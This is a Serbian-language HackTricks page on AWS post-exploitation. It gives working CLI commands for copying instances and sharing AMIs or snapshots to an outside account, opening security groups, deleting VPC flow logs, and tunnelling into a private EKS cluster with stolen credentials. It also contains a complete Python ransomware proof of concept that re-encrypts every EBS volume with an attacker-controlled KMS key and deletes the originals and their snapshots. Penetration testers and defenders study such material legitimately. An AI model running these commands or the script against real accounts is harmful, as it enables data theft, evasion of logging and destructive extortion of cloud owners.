AWS - EC2, EBS, SSM & VPC Post Exploitation

Reading time: 14 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

EC2 & VPC

Za više informacija proverite:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Malicious VPC Mirror - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC traffic mirroring duplira dolazni i odlazni saobraćaj za EC2 instance unutar VPC bez potrebe za instaliranjem bilo čega na samim instancama. Ovaj duplirani saobraćaj bi obično bio poslat nečemu poput sistema za detekciju mrežnih upada (IDS) na analizu i praćenje.
Napadač bi mogao da iskoristi ovo da uhvati sav saobraćaj i dobije osetljive informacije iz njega:

Za više informacija proverite ovu stranicu:

AWS - Malicious VPC Mirror

Copy Running Instance

Instance obično sadrže neku vrstu osetljivih informacija. Postoje različiti načini da se uđe unutra (proverite EC2 privilege escalation tricks). Međutim, drugi način da se proveri šta sadrži je da se napravi AMI i pokrene nova instanca (čak i na vašem vlastitom nalogu) iz nje:

shell
# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapshots su backup-ovi volumena, koji obično sadrže osetljive informacije, stoga njihovo proveravanje može otkriti ove informacije.
Ako pronađete volumen bez snimka, možete: Kreirati snimak i izvršiti sledeće radnje ili jednostavno montirati ga u instancu unutar naloga:

AWS - EBS Snapshot Dump

Data Exfiltration

DNS Exfiltration

Čak i ako zaključate EC2 tako da nijedan saobraćaj ne može izaći, još uvek može izvršiti exfiltraciju putem DNS-a.

  • VPC Flow Logs neće ovo zabeležiti.
  • Nemate pristup AWS DNS logovima.
  • Onemogućite ovo postavljanjem "enableDnsSupport" na false sa:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Exfiltration via API calls

Napadač može pozvati API krajnje tačke naloga koji kontroliše. Cloudtrail će zabeležiti ove pozive i napadač će moći da vidi exfiltrirane podatke u Cloudtrail logovima.

Open Security Group

Možete dobiti dalji pristup mrežnim uslugama otvaranjem portova na sledeći način:

bash
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc to ECS

Moguće je pokrenuti EC2 instancu i registrovati je za korišćenje u pokretanju ECS instanci, a zatim ukrasti podatke iz ECS instanci.

Za više informacija proverite ovo.

Remove VPC flow logs

bash
aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

SSM Port Forwarding

Required permissions:

  • ssm:StartSession

Pored izvršavanja komandi, SSM omogućava tunelovanje saobraćaja što se može iskoristiti za preusmeravanje sa EC2 instanci koje nemaju mrežni pristup zbog Security Groups ili NACLs. Jedan od scenarija gde je ovo korisno je preusmeravanje sa Bastion Host na privatni EKS klaster.

Da biste započeli sesiju, potrebno je da imate instaliran SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

  1. Instalirajte SessionManagerPlugin na vašem računaru
  2. Prijavite se na Bastion EC2 koristeći sledeću komandu:
shell
aws ssm start-session --target "$INSTANCE_ID"
  1. Dobijte privremene akreditive Bastion EC2 AWS pomoću Abusing SSRF in AWS EC2 environment skripte
  2. Prenesite akreditive na svoju mašinu u $HOME/.aws/credentials datoteci kao [bastion-ec2] profil
  3. Prijavite se na EKS kao Bastion EC2:
shell
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
  1. Ažurirajte polje server u datoteci $HOME/.kube/config da pokazuje na https://localhost
  2. Kreirajte SSM tunel na sledeći način:
shell
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
  1. Saobraćaj iz kubectl alata se sada prosleđuje kroz SSM tunel putem Bastion EC2 i možete pristupiti privatnom EKS klasteru sa svog računara pokretanjem:
shell
kubectl get pods --insecure-skip-tls-verify

Napomena da će SSL veze propasti osim ako ne postavite --insecure-skip-tls-verify flag (ili njegov ekvivalent u K8s audit alatima). S obzirom na to da je saobraćaj tunelovan kroz sigurni AWS SSM tunel, zaštićeni ste od bilo kakvih MitM napada.

Na kraju, ova tehnika nije specifična za napad na privatne EKS klastere. Možete postaviti proizvoljne domene i portove da se prebacite na bilo koju drugu AWS uslugu ili prilagođenu aplikaciju.

Share AMI

bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Pretraživanje osetljivih informacija u javnim i privatnim AMI-ima

  • https://github.com/saw-your-packet/CloudShovel: CloudShovel je alat dizajniran za pretraživanje osetljivih informacija unutar javnih ili privatnih Amazon Machine Images (AMIs). Automatizuje proces pokretanja instanci iz ciljanih AMI-a, montiranja njihovih volumena i skeniranja za potencijalne tajne ili osetljive podatke.

Podeli EBS Snapshot

bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

Dokaz koncepta sličan demonstraciji Ransomware prikazanoj u beleškama o post-exploitation za S3. KMS bi trebao biti preimenovan u RMS za Ransomware Management Service s obzirom na to koliko je lako koristiti ga za enkripciju raznih AWS usluga.

Prvo, iz 'napadačkog' AWS naloga, kreirajte ključ koji korisnik upravlja u KMS. Za ovaj primer ćemo samo dozvoliti AWS-u da upravlja podacima o ključu za mene, ali u realističnom scenariju, zlonamerna osoba bi zadržala podatke o ključu van AWS-ove kontrole. Promenite politiku ključa da dozvoli bilo kojem AWS nalogu Principal da koristi ključ. Za ovu politiku ključa, ime naloga je bilo 'AttackSim' i pravilo politike koje omogućava sve pristupe se zove 'Outside Encryption'

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Pravila politike ključa treba da imaju omogućene sledeće stavke kako bi se omogućila upotreba za enkripciju EBS volumena:

  • kms:CreateGrant
  • kms:Decrypt
  • kms:DescribeKey
  • kms:GenerateDataKeyWithoutPlainText
  • kms:ReEncrypt

Sada, sa javno dostupnim ključem za korišćenje. Možemo koristiti 'žrtvinu' račun koji ima nekoliko EC2 instanci pokrenutih sa neenkriptovanim EBS volumenima. EBS volumeni ovog 'žrtvinog' računa su ono što cilјamo za enkripciju, ovaj napad se pretpostavlja da je izvršen na računu sa visokim privilegijama.

Pasted image 20231231172655 Pasted image 20231231172734

Slično primeru S3 ransomware-a. Ovaj napad će kreirati kopije povezanih EBS volumena koristeći snimke, koristiti javno dostupni ključ iz 'napadačkog' računa za enkripciju novih EBS volumena, zatim odvojiti originalne EBS volumene od EC2 instanci i obrisati ih, a zatim konačno obrisati snimke korišćene za kreiranje novokreiranih enkriptovanih EBS volumena. Pasted image 20231231173130

To rezultira time da su u računu ostali samo enkriptovani EBS volumeni.

Pasted image 20231231173338

Takođe je važno napomenuti da je skripta zaustavila EC2 instance kako bi odvojila i obrisala originalne EBS volumene. Originalni neenkriptovani volumeni su sada nestali.

Pasted image 20231231173931

Sledeće, vratite se na politiku ključa u 'napadačkom' računu i uklonite pravilo politike 'Vanjska enkripcija' iz politike ključa.

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Sačekajte trenutak da se nova politika ključeva propagira. Zatim se vratite na 'žrtvovni' nalog i pokušajte da priključite jedan od novokodiranih EBS volumena. Otkrivaćete da možete da priključite volumen.

Pasted image 20231231174131 Pasted image 20231231174258

Ali kada pokušate da zapravo pokrenete EC2 instancu sa kodiranim EBS volumenom, jednostavno će propasti i preći iz 'pending' stanja nazad u 'stopped' stanje zauvek, pošto se priključen EBS volumen ne može dekriptovati koristeći ključ jer politika ključeva više to ne dozvoljava.

Pasted image 20231231174322 Pasted image 20231231174352

Ovo je python skripta koja se koristi. Uzima AWS kredencijale za 'žrtvovni' nalog i javno dostupnu AWS ARN vrednost za ključ koji će se koristiti za enkripciju. Skripta će napraviti enkriptovane kopije SVIH dostupnih EBS volumena priključenih na SVE EC2 instance u ciljanom AWS nalogu, zatim će zaustaviti svaku EC2 instancu, odvojiti originalne EBS volumene, obrisati ih i konačno obrisati sve snimke korišćene tokom procesa. Ovo će ostaviti samo enkriptovane EBS volumene u ciljanom 'žrtvovnom' nalogu. SAMO KORISTITE OVU SKRIPTU U TESTNOM OKRUŽENJU, ONA JE DESTRUKTIVNA I OBRISAĆE SVE ORIGINALNE EBS VOLUMENE. Možete ih povratiti koristeći korišćeni KMS ključ i vratiti ih u prvobitno stanje putem snimaka, ali želim da vas obavestim da je ovo PoC ransomware-a na kraju dana.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks